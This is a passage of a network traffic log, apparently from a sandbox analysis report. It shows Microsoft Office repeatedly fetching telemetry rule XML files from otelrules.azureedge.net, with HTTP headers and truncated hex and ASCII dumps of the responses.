2024-11-17 09:07:34 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:34 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:34 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2afe2566-001e-008d-7eb1-37d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090734Z-16547b76f7ftnm6xhC1DFW9c8c00000003rg00000000494h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:34 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:34 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:34 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:34 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: e3d9936e-401e-0083-0609-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090734Z-16547b76f7fgfpmjhC1DFWw6ec00000003kg000000003hfs x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:34 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:34 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:34 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:34 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: e3d993a2-401e-0083-2409-37075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090734Z-16547b76f7fkz9l7hC1DFW35uc0000000160000000005fdx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:34 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:35 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:35 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:35 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: b3f05f3e-001e-0065-58c4-380b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090735Z-164f84587bfr8hdmhC1DFWt5nc00000002ag000000006kgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:35 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:35 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e00571ae-f01e-0052-6cd2-379224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090735Z-16547b76f7f64d6whC1DFWf9vn00000002mg00000000atdx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:35 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:35 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:35 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 926299b0-201e-0096-47af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090735Z-16547b76f7fp6s5dhC1DFWe28g00000001e00000000007eh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:35 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:35 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:35 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 70401fc9-201e-003c-2e89-3830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090735Z-16547b76f7fxqj4khC1DFWpypw00000001ag00000000g3uz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:35 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:36 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 555572e6-d01e-00a1-5509-3735b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090736Z-16547b76f7fwm7vghC1DFW900s00000001kg00000000dkct x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:36 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 1573d8a3-d01e-002b-769d-3725fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090736Z-16547b76f7f9s8x7hC1DFWywrg00000003u000000000as66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:36 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:36 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:36 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:36 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090736Z-1866b5c5fbbr78bbhC1DFWqz2n000000047g000000005c8r x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:36 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:36 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:36 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:36 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: bb729275-001e-0014-2109-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090736Z-1866b5c5fbbtpjhjhC1DFWr6tw0000000420000000003qw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:36 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
